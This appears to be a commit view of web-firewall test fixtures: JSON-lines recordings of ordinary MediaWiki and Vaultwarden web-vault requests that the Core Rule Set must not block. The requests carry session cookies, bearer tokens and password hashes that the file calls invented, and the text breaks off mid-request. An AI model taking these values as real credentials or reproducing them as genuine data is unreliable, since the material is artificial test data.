{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=editLock&format=original&lang=de&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Hauptseite", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=speechBubbleAdd&variant=progressive&format=original&lang=de&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Hauptseite", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
File diff suppressed because it is too large. Load diff
+190
View File
@@ -0,0 +1,190 @@
# Ordinary Vaultwarden 1.37.5 requests that the Core Rule Set must let through
# at the defaults. They were recorded from the web vault driven by a headless
# Chrome, from the Bitwarden command line client and from the admin page. Each
# line is one request as JSON. Addresses, passwords and tokens are invented,
# and the encrypted contents of uploaded files are written as base64.
{"method": "GET", "target": "/", "headers": ["Host: example.com", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Sec-Ch-Ua-Platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=0, i"], "body": ""}
{"method": "GET", "target": "/theme_head.6991036cc6ce1ab5eee1.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/styles.7b4e836b041b0b1d10ae.css", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: text/css,*/*;q=0.1", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: style", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=0"], "body": ""}
{"method": "GET", "target": "/css/vaultwarden.css", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: text/css,*/*;q=0.1", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: style", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=0"], "body": ""}
{"method": "GET", "target": "/app/polyfills.11c471dc266a0d8811d6.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/app/vendor.55e794a42a5fe0d2e9eb.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/app/main.1176a28a68b7b4809391.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/styles.31d6cfe0d16ae931b73c.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/images/logo.svg", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: image", "Referer: https://example.com/styles.7b4e836b041b0b1d10ae.css", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: i"], "body": ""}
{"method": "GET", "target": "/fonts/bwi-font.9ae6e12297499bbf04d1.ttf", "headers": ["Host: example.com", "Origin: https://example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: font", "Referer: https://example.com/styles.7b4e836b041b0b1d10ae.css", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=0"], "body": ""}
{"method": "GET", "target": "/fonts/inter.c504db5c06caaf7cdfba.woff2", "headers": ["Host: example.com", "Origin: https://example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: font", "Referer: https://example.com/styles.7b4e836b041b0b1d10ae.css", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=0"], "body": ""}
{"method": "GET", "target": "/368.238d87538b99dd2b92c7.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/466839efc4da38d60ce3.module.wasm", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
{"method": "GET", "target": "/locales/en/messages.json?cache=rjxzf", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
{"method": "POST", "target": "/identity/accounts/register/send-verification-email", "headers": ["Host: example.com", "Content-Length: 83", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Device-Identifier: 6b36c635-12c1-4537-bc69-64f3507abc05", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"email\":\"alice@example.com\",\"name\":\"Alice python3\",\"receiveMarketingEmails\":false}"}
{"method": "GET", "target": "/api/config", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Device-Identifier: 8e633b72-6e86-4a9f-90b1-5ca04f7739a8", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
{"method": "POST", "target": "/identity/accounts/register/finish", "headers": ["Host: example.com", "Content-Length: 3342", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Device-Identifier: 8e633b72-6e86-4a9f-90b1-5ca04f7739a8", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"email\":\"alice@example.com\",\"masterPasswordHint\":\"the .htaccess one, not powershell\",\"userAsymmetricKeys\":{\"publicKey\":\"MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAp/QxIhy+mWJONpBHj7f0bsWUlAol0BDrSMyLhtedzAX13cQaBENMlUny6VKHY9mpvAghYt+d/R8asNIhAGmdJl7t0bKvWrOk4ley7KITbaVHo3PZQoNHbHntf1tPvXj36jWlv1kT083of/2OFzN26P3wnmiQacoWL1PvdpXv0iVMGl6ZitiSTPFGUwPiRN8slYOoMJlJ06iw8ppRSVLqFlHIG4pitmfAv94GiDtAmVPtpTYnMLRcq6bgGF/9AiFwD3ZuOGeD5qVx2H87PRylV2durdfHhVvdqhCtDL4JpLgpUWxuxtfnd7mRCEkqJg8f9Jb7EKLJ6R5373fjfZAuZwIDAQAB\",\"encryptedPrivateKey\":\"2.C6b36YRSVHGD3787nIdlNQ==|DOBa79iUH9i3un4pY36/tZROc7Dr6241IoCBhvutyzWT2nwzlgw5JY+agdADPwUj8cd10e7o0YA+L9bNpGl3+L6gjFaBVdfiGk8qDoym0LQPR6mavqHOKTKR0rY9xcWSMSMONEZQvBmzYISC4EBcPKCEaA6FVCarp+iTkzP0RVHlSwm6HU+Pl6nLMX9LmL8viJKB22igPq12HgeIVUd2JKLmJMa80idyh1sxQ176fx1cy9mZcPTAAS8hBX6s67iRIfv3qi2oJD7M3ErGlljv/+4k700MIKJcURHyV84r9RURwi9VDBppZ74MBWd39Fo6wVA91MF8kPwpeFXHH+F0NKwoFZa7SheF+jZbta1FWrWdlYlpUVYpUPPSviJCk9PQUT67EdnS6zRkA7XcRlsukzJNcZjS4/fCvuktjWaKbR4uIDtAWKln9+ElgiVarbWFHSZILi80f4wh4s/EPUMmqNw9e+whjw2DIM/dydk6kfmEyMZam/Slg8b9+uqylmtkpD8wJd2aHD3Q6Iw2Q8h7gFgg0yRKRXc+rEjMAnG/cHiIcWpDDPVj+bYYCMCfpfGRI0t6XBfHtHfCtXUb6CMt+bN67ZThGKZawMYw8bhNmj5vkqbT8FbMS3mbD9dIdAZrO6seQxyO6UdpWpTIl51jHVUSwUo5Tfet/9NXRipl+M0jSFhWcs6grG0O9r340SehWMQxWNgp8IWNYwEJy5IwldC2Z3AAm3v9Cpmeoh/59szBwVVHkIukDwKkFNFRXG/85NIVdDcTbuZNeTVjDGNg57n/4l6ydh5XjGPDKW+VW1Q+a4r4P3GfmzjLP38B6s60PiRBPVuxQTQbsADhLllyTwu+W1OvLwv2SLWCJ6QGTuOgOtmaZ8z4sLnzox1RaTVmSYvOaYpfyIMQtR9YcRR9G2GPLXtGfyWM6dQlsZG3GzBNMID1l6J2OJy5lAbHNslLOQRk3OnR3N+I9z8q9NnPbklBE5cRkTEP1uIWkkNpujBTMmTTYHmGdRONpkOLeUOkr9kBtndArjIHlvyHdPsDzB5pQGTWCFj0APQWepEA1EODqvvo3mlNUMmH0UJjl0xD6Hw6p+bf6bcUoVwuCuH5Oqt875P2LQesldQ0W3IWbV7EZ7CTbmZPi33tUfGMtN/5NRfY6OhcevRBrGbIpsCLeVOZx6aWoPxSpKhQPycyHIC3s+kIrFl0luxA4U6qNdbwOgBDSG8FiQhm38YwYqYhpaQJCDuIlHpRPDsHEke5THn3m8dAWZullCUfLs1BZ9Uj53CvLTLMiq1m2PGgyyGJyInLqP8HYg6joclMUsw08dZ2w03mbZ7eD9AAUukVArgc9cU4anuUaYU0InAJUXtgwxBb1HpQPl4WyzOpS6Vjyf7Ad+/V+lEf2cFa/SMftecrM1hlfLplCrKf2duiHNxFcHpqPTyVxfWkRA1JKrwpgLMxaX3mZl+xJW1Enm8QdZrlaPiFp/kTz+yax6zlqW2D/pQIlXfAM+FiMk+mbnJy0aOvzrrVwh12Xp3P+i1dNdY9KVE7QPXeWY6fbE3D2N3urysGBFEPFm2fjiDugCQzeFMQot/fTM4pYUt/uweJk4tqZXSoUJacevlj9r+TaG+9muquBY1fRwnOhNTyzpvvAho=|m8ws2b/cbAkEWrMxbKR5xIREcugapKPPDf2M6B2MB7c=\"},\"masterPasswordAuthentication\":{\"salt\":\"alice@example.com\",\"kdf\":{\"iterations\":600000,\"kdfType\":0},\"masterPasswordAuthenticationHash\":\"PFTB756792a9joBcqKKHK61aPajhH+ALhFcnA4VMCms=\"},\"masterPasswordUnlock\":{\"salt\":\"alice@example.com\",\"kdf\":{\"iterations\":600000,\"kdfType\":0},\"masterKeyWrappedUserKey\":\"2.o8g9//HWC2ef7L5bpOXplA==|y1EuzEa3rtAfNF2rXqcOFPozQSCjpYE2OavEdylFlgm7n+RPxb9H1DmXCMMTINlHZEPZYvUqMowb66fVAEcfgW5pRUURoOCbLGgsIus5tSY=|tz6s/bE6Vx7Kp2KgnknKSOt7CAb4SmdOpdii9S0j9ls=\"},\"emailVerificationToken\":\"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODA0MzcsImV4cCI6MTc5NDI4MjIzNywiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxyZWdpc3Rlcl92ZXJpZnkiLCJzdWIiOiJhbGljZUBleGFtcGxlLmNvbSIsIm5hbWUiOiJBbGljZSBweXRob24zIiwidmVyaWZpZWQiOmZhbHNlfQ.e5Rr4SWO_KIg_xkVTSoTeuQRfU4TZOK0F_u-7P_VeDVWXvZOsmu_g43wbu03ohAK9lhHifduuocpFlIlqtbnSEWEeg-kbsRNxZRDpGYsLWVO6-gQhJuzu-XQua6oPdq6V9ibyYcRgmDMVodOnfQ0pWx0TRKTOzqWKUNWmNHkkLRtOGiK87Ids1K8KGYpiosPyfJfeepNn5uwbtCj0JnrauvskCAIFotSAPKOcgciL_Za5JggoDQ-UpwyXUAP5bs26cRhe4mXLyQUCSH38koyWAxDz53FSq3_8Xq63AZJKN0ox_n6flWJiJSP5eHktIVBub3Ifs3B4nULgU9aU49VvQ\"}"}
{"method": "POST", "target": "/identity/accounts/prelogin/password", "headers": ["Host: example.com", "Content-Length: 29", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Device-Identifier: 8e633b72-6e86-4a9f-90b1-5ca04f7739a8", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"email\":\"alice@example.com\"}"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=8e633b72-6e86-4a9f-90b1-5ca04f7739a8&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "GET", "target": "/api/sync?excludeDomains=true", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODA0NDQsImV4cCI6MTc5NDI4NzY0NCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiI4ZTYzM2I3Mi02ZTg2LTRhOWYtOTBiMS01Y2EwNGY3NzM5YTgiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.V3chOXAFP_4rR4x1IXJyZ5b0JY0Gi84mLcuvajZCigDP4k8MFIsn7aD1t1SPnNippOpONZvqKwmyxoIaXlVe6vEL-I6ooa29uMfou3NKtD-FmYukW4iUUdnlRcLwatcOKOHzbLoqPc52gL_6JaPdJM60ybNRsRDXrlDYr04sMlj2geEO5DX2VCDzjBX-vq7aYhvT50OEcHJVHd7YgtHz1qJThW7z1hnZGgXg5VstnwYS9ZG_yMJavBbLHW_Pfo3DAWFEtenlaGPBG31i5pbRMQPl3LKvzSdhOunsjC76yrrc7sJ-WL2KTiQwuuj0kVTkoBSDciiMZGoO9oCM3TUAKw", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
{"method": "GET", "target": "/notifications/hub?access_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODA0NDQsImV4cCI6MTc5NDI4NzY0NCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiI4ZTYzM2I3Mi02ZTg2LTRhOWYtOTBiMS01Y2EwNGY3NzM5YTgiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.V3chOXAFP_4rR4x1IXJyZ5b0JY0Gi84mLcuvajZCigDP4k8MFIsn7aD1t1SPnNippOpONZvqKwmyxoIaXlVe6vEL-I6ooa29uMfou3NKtD-FmYukW4iUUdnlRcLwatcOKOHzbLoqPc52gL_6JaPdJM60ybNRsRDXrlDYr04sMlj2geEO5DX2VCDzjBX-vq7aYhvT50OEcHJVHd7YgtHz1qJThW7z1hnZGgXg5VstnwYS9ZG_yMJavBbLHW_Pfo3DAWFEtenlaGPBG31i5pbRMQPl3LKvzSdhOunsjC76yrrc7sJ-WL2KTiQwuuj0kVTkoBSDciiMZGoO9oCM3TUAKw", "headers": ["Host: example.com", "Connection: Upgrade", "Pragma: no-cache", "Cache-Control: no-cache", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Upgrade: websocket", "Origin: https://example.com", "Sec-Websocket-Version: 13", "Accept-Encoding: gzip, deflate, br, zstd", "Sec-Websocket-Key: gn2i7t3LFmj+47dvLQHEcA==", "Sec-Websocket-Extensions: permessage-deflate; client_max_window_bits"], "body": ""}
{"method": "GET", "target": "/api/accounts/revision-date", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODA0NDQsImV4cCI6MTc5NDI4NzY0NCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiI4ZTYzM2I3Mi02ZTg2LTRhOWYtOTBiMS01Y2EwNGY3NzM5YTgiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.V3chOXAFP_4rR4x1IXJyZ5b0JY0Gi84mLcuvajZCigDP4k8MFIsn7aD1t1SPnNippOpONZvqKwmyxoIaXlVe6vEL-I6ooa29uMfou3NKtD-FmYukW4iUUdnlRcLwatcOKOHzbLoqPc52gL_6JaPdJM60ybNRsRDXrlDYr04sMlj2geEO5DX2VCDzjBX-v